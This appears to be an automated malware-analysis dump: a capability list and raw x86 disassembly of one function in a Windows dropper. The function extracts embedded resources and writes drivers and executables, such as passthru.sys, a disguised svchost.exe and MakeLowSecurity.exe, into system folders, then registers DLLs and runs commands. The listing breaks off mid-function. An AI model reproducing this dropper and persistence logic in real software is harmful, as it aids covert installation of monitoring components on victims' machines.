Function at 0x401d80
Capabilities:
Act as tcp client
Check if file exists
Check os version
Clear file content
Connect socket
Connect tcp socket
Connect udp socket
Create directory
Create process on windows
Create service
Create tcp socket
Create udp socket
Delete file
Delete registry key
Delete service
Extract resource via kernel32 functions
Get common file path
Get file attributes
Get local ipv4 addresses
Get number of processors
Get socket information
Initialize winsock library
Move file
Persist via windows service
Print debug messages
Resolve dns
Set registry value
Start service
Stop service
Write and execute a file
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x40fd82
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x98c
push ebx
push ebp
push esi
mov ebp, ecx
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x790]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x3f8]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x3f8]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
or ecx, 0xffffffff
mov edi, str.com1_
xor eax, eax
lea edx, [esp + 0x3f8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x790]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x3f8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x790]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, str.apphr.._
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
and ecx, 3
lea eax, [esp + 0x3fc]
rep movsb byte es:[edi], byte [esi]
push eax
call ebx
lea ecx, [esp + 0x790]
push 0
push ecx
call ebx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x2f4]
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x2f4]
push 0x104
push edx
call esi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x2f4]
push 0x104
rep stosd dword es:[edi], eax
lea eax, [esp + 0x2f8]
push eax
call esi
mov edi, str.uninst.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x2f4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x2f4]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1f1]
mov byte [esp + 0x1f0], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x1f0]
push 0x104
push ecx
mov dword [esp + 0x9ac], 0xffffffff
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [esp + 0x1f0]
lea ecx, [esp + 0x20]
push edx
call fcn.0040f512
lea eax, [esp + 0x1f0]
push 0x104
push eax
mov dword [esp + 0x9ac], 2
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x1f0]
push ecx
lea ecx, [esp + 0x14]
call fcn.0040f512
lea ecx, [esp + 0x14]
mov byte [esp + 0x9a4], 3
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0x1c]
mov byte [esp + 0x9a4], 4
call sub.MFC42.DLL_CString::CString_2
push ecx
lea eax, [esp + 0x14]
mov edx, esp
mov dword [esp + 0x30], esp
push str.passthru.sys
push eax
push edx
mov byte [esp + 0x9b4], 5
call sub.MFC42.DLL_operator
call fcn.00401850
mov ecx, esp
mov dword [esp + 0x30], esp
lea edx, [esp + 0x14]
push str._ndisctrl.exe
push edx
push ecx
call sub.MFC42.DLL_operator
call fcn.00401850
mov eax, esp
mov dword [esp + 0x30], esp
lea ecx, [esp + 0x14]
push str.com1hruser.exe
push ecx
push eax
call sub.MFC42.DLL_operator
call fcn.00401850
mov edx, esp
mov dword [esp + 0x30], esp
lea eax, [esp + 0x14]
push str.com1wmipris.exe
push eax
push edx
call sub.MFC42.DLL_operator
call fcn.00401850
mov ecx, esp
mov dword [esp + 0x30], esp
lea edx, [esp + 0x14]
push str.drivers_npf.sys
push edx
push ecx
call sub.MFC42.DLL_operator
call fcn.00401850
mov eax, esp
mov dword [esp + 0x30], esp
lea ecx, [esp + 0x14]
push str.hrpro.exe
push ecx
push eax
call sub.MFC42.DLL_operator
call fcn.00401850
mov edx, esp
mov dword [esp + 0x30], esp
lea eax, [esp + 0x14]
push str.com1_svchost.exe
push eax
push edx
call sub.MFC42.DLL_operator
call fcn.00401850
mov ecx, esp
mov dword [esp + 0x30], esp
lea edx, [esp + 0x14]
push str.com1FileMon.sys
push edx
push ecx
call sub.MFC42.DLL_operator
call fcn.00401850
mov eax, esp
mov dword [esp + 0x30], esp
lea ecx, [esp + 0x14]
push str._runserv.exe
push ecx
push eax
call sub.MFC42.DLL_operator
call fcn.00401850
mov edx, esp
mov dword [esp + 0x30], esp
lea eax, [esp + 0x24]
push str.DexSendEMail.exe
push eax
push edx
call sub.MFC42.DLL_operator
call fcn.00401850
mov ecx, esp
mov dword [esp + 0x30], esp
lea edx, [esp + 0x14]
push str.com1winser.dll
push edx
push ecx
call sub.MFC42.DLL_operator
call fcn.00405b60
mov eax, esp
mov dword [esp + 0x30], esp
lea ecx, [esp + 0x14]
push str.devbak.dll
push ecx
push eax
call sub.MFC42.DLL_operator
call fcn.00405b60
add esp, 4
lea eax, [esp + 0x20]
push 1
push 0xe1
push str.IMAGE
push ecx
mov edx, esp
mov dword [esp + 0x3c], esp
push str.Rundll32.exe
push eax
push edx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0xe2
push str.IMAGE
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
lea edx, [esp + 0x30]
push str._smss.exe
push edx
push ecx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0xee
push str.IMAGE
push ecx
mov eax, esp
mov dword [esp + 0x3c], esp
lea ecx, [esp + 0x20]
push str.com1HrExt.dll
push ecx
push eax
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_2
push 1
push 0xf1
push str.IMAGE
push ecx
mov edx, esp
mov dword [esp + 0x3c], esp
lea eax, [esp + 0x20]
push str.MakeLowSecurity.exe
push eax
push edx
mov byte [esp + 0x9c0], 6
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
jne 0x4021ce
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x18]
jmp 0x405af0
lea ecx, [esp + 0x10]
push str.hrjdcache
lea edx, [esp + 0x28]
push ecx
push edx
call sub.MFC42.DLL_operator
mov eax, dword [eax]
push 0
push eax
call ebx
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x10]
push str.hrjdcache
lea ecx, [esp + 0x28]
push eax
push ecx
call sub.MFC42.DLL_operator
mov eax, dword [eax]
lea edx, [esp + 0x18]
push eax
push str.MakeLowSecurity.exe___s___c
push edx
mov byte [esp + 0x9b0], 7
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 6
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push eax
call esi
push 0
push str.C:Mail
call ebx
push str.C:Mail
lea ecx, [esp + 0x1c]
push str.MakeLowSecurity.exe___s___c
push ecx
call sub.MFC42.DLL_CString::Format
mov edx, dword [esp + 0x24]
add esp, 0xc
push 0
push edx
call esi
push 2
push 0x413e98
push 1
push str.version
push str.SOFTWAREhrjdcis7
push getsockname
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
lea eax, [esp + 0x10]
push str.hrjdcache
lea ecx, [esp + 0x28]
push eax
push ecx
call sub.MFC42.DLL_operator
mov eax, dword [eax]
lea edx, [esp + 0x18]
push eax
push str.MakeLowSecurity.exe_HKLMSOFTWAREhrjdcis7__c
push edx
mov byte [esp + 0x9b0], 8
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 6
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0x18]
push 0
push eax
call esi
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
push 1
push 0xea
push str.IMAGE
push ecx
lea edx, [esp + 0x20]
mov ecx, esp
mov dword [esp + 0x3c], esp
push str.com1HttpMM.dll
push edx
push ecx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0xf7
push str.IMAGE
push ecx
mov eax, esp
mov dword [esp + 0x3c], esp
lea ecx, [esp + 0x20]
push str.com1FluxMM.dll
push ecx
push eax
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0xf4
push str.IMAGE
push ecx
mov edx, esp
mov dword [esp + 0x3c], esp
lea eax, [esp + 0x20]
push str.com1FoxLib.dll
push eax
push edx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0xec
push str.IMAGE
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
lea edx, [esp + 0x20]
push str.com1Bulletin.dll
push edx
push ecx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0xed
push str.IMAGE
push ecx
mov eax, esp
mov dword [esp + 0x3c], esp
lea ecx, [esp + 0x20]
push str.com1Node.xml
push ecx
push eax
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0xe5
push str.IMAGE
push ecx
mov edx, esp
mov dword [esp + 0x3c], esp
lea eax, [esp + 0x20]
push str.com1leakcheck.dll
push eax
push edx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0xe4
push str.IMAGE
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
lea edx, [esp + 0x20]
push str.com1libleak.dat
push edx
push ecx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0xe6
push str.IMAGE
push ecx
mov eax, esp
mov dword [esp + 0x3c], esp
lea ecx, [esp + 0x20]
push str.com1libleak2.dat
push ecx
push eax
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0xe8
push str.IMAGE
push ecx
mov edx, esp
mov dword [esp + 0x3c], esp
lea eax, [esp + 0x20]
push str.com1UpdateHelp.exe
push eax
push edx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0xf6
push str.IMAGE
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
lea edx, [esp + 0x20]
push str.com1ChatMM.dll
push edx
push ecx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0xe9
push str.IMAGE
push ecx
mov eax, esp
mov dword [esp + 0x3c], esp
lea ecx, [esp + 0x20]
push str.UsbBrowser.exe
push ecx
push eax
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0xe7
push str.IMAGE
push ecx
mov edx, esp
mov dword [esp + 0x3c], esp
lea eax, [esp + 0x20]
push str.ExplorerExt.dll
push eax
push edx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0xf3
push str.IMAGE
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
lea edx, [esp + 0x20]
push str.IpLocker.dll
push edx
push ecx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0xf9
push str.IMAGE
push ecx
mov eax, esp
mov dword [esp + 0x3c], esp
lea ecx, [esp + 0x20]
push str.com1FileMD5.xml
push ecx
push eax
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push 1
push 0xfb
push str.IMAGE
push ecx
mov edx, esp
mov dword [esp + 0x3c], esp
lea eax, [esp + 0x20]
push str.com1MsnEncrypt.dll
push eax
push edx
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push str.regsvr32__s
lea ecx, [esp + 0x20]
call fcn.0040f5b4
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::operator_1
push str.ExplorerExt.dll
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::operator
mov edx, dword [esp + 0x1c]
push 0
push edx
call esi
push 1
push 0xf5
push str.IMAGE
push ecx
mov eax, esp
mov dword [esp + 0x3c], esp
lea ecx, [esp + 0x20]
push str.com1HrOutlookExt.dll
push ecx
push eax
call sub.MFC42.DLL_operator
mov ecx, ebp
call fcn.00405c30
test eax, eax
je 0x405af5
push str.regsvr32__s
lea ecx, [esp + 0x20]
call fcn.0040f5b4
lea edx, [esp + 0x10]
lea ecx, [esp + 0x1c]
push edx
call sub.MFC42.DLL_CString::operator_1
push str.com1HrOutlookExt.dll
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::operator
mov eax, dword [esp + 0x1c]
push 0
push eax
call esi
lea ecx, [esp + 0x2f4]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [esp + 0x10]
push str.hrreg.exe
lea eax, [esp + 0x1c]
push edx
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 9
call fcn.0040f4dc
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0x9a4], 0xa
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xc5
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x40270a
push 0x10
push 0x413ce8
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
jmp 0x405af0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x402748
push 0x10
push 0x413cc4
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
jmp 0x405af0
mov ecx, dword [esp + 0x14]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4027a2
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x402794
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x28]
sub eax, esi
push 0
push edx
add eax, ebx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x402776
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
push str.mfco42ud.dll
lea edx, [esp + 0x1c]
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0xb
call fcn.0040f4dc
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0x9a4], 0xc
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xbe
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x40283e
push 0x10
push 0x413cac
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
jmp 0x405af0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x40287c
push 0x10
push 0x413ca4
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
jmp 0x405af0
mov eax, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4028d3
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x4028c5
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x28]
sub edx, esi
push 0
push ecx
add edx, ebx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x4028a7
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x10]
push str.mfcn42ud.dll
lea ecx, [esp + 0x1c]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0xd
call fcn.0040f4dc
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0x9a4], 0xe
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xbd
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x40296f
push 0x10
push 0x413c8c
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
jmp 0x405af0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x4029ad
push 0x10
push 0x413c84
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
jmp 0x405af0
mov edx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402a04
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x4029f6
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x28]
sub ecx, esi
push 0
push eax
add ecx, ebx
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x4029d8
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea edx, [esp + 0x10]
push str.mfcd42ud.dll
lea eax, [esp + 0x1c]
push edx
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0xf
call fcn.0040f4dc
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0x9a4], 0x10
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xbc
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x402aa0
push 0x10
push 0x413c6c
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
jmp 0x405af0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x402ade
push 0x10
push 0x413c64
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
jmp 0x405af0
mov ecx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402b35
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x402b27
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x28]
sub eax, esi
push 0
push edx
add eax, ebx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x402b09
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
push str.mfc42ud.dll
lea edx, [esp + 0x1c]
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x11
call fcn.0040f4dc
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0x9a4], 0x12
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xbb
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x402bd1
push 0x10
push 0x413c4c
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
jmp 0x405af0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x402c0f
push 0x10
push 0x413c44
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
jmp 0x405af0
mov eax, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402c66
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x402c58
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x28]
sub edx, esi
push 0
push ecx
add edx, ebx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x402c3a
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x10]
push str._snetcfg.exe
lea ecx, [esp + 0x1c]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x13
call fcn.0040f4dc
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0x9a4], 0x14
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xb7
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x402d02
push 0x10
push 0x413c2c
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
jmp 0x405af0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x402d40
push 0x10
push 0x413c24
push 0x413ccc
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
jmp 0x405af0
mov edx, dword [esp + 0x14]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402d9a
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x402d8c
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x28]
sub ecx, esi
push 0
push eax
add ecx, ebx
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x402d6e
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x24]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0x58]
lea edx, [esp + 0x58]
rep stosd dword es:[edi], eax
push edx
mov dword [esp + 0x5c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x5c], 5
jne 0x402f11
mov eax, dword [esp + 0x60]
test eax, eax
jne 0x402f11
lea eax, [esp + 0x10]
push str.passthru.sys
lea ecx, [esp + 0x1c]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a8], 0x15
call fcn.0040f4dc
lea ecx, [esp + 0x18]
mov byte [esp + 0x9a4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString_2
mov byte [esp + 0x9a4], 0x16
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xbf
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x402e5a
push 0x10
push 0x413c1c
push 0x413ccc
jmp 0x402ef9
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x18], eax
jne 0x402e82
push 0x10
push 0x413c14
push 0x413ccc
jmp 0x402ef9
mov edx, dword [esp + 0x14]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402eed
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x28], ebx
jbe 0x402ece
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x28]
sub ecx, esi
push 0
push eax
add ecx, ebx
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x28]
jne 0x402eb0
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
jmp 0x40301e
push 0x10
push 0x413c0c
push 0x413bd8
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0x9a4], 5
lea ecx, [esp + 0x24]
jmp 0x405af0
lea edx, [esp + 0x10]
push str.passthru.sys
lea eax, [esp + 0x1c]
push edx
push eax
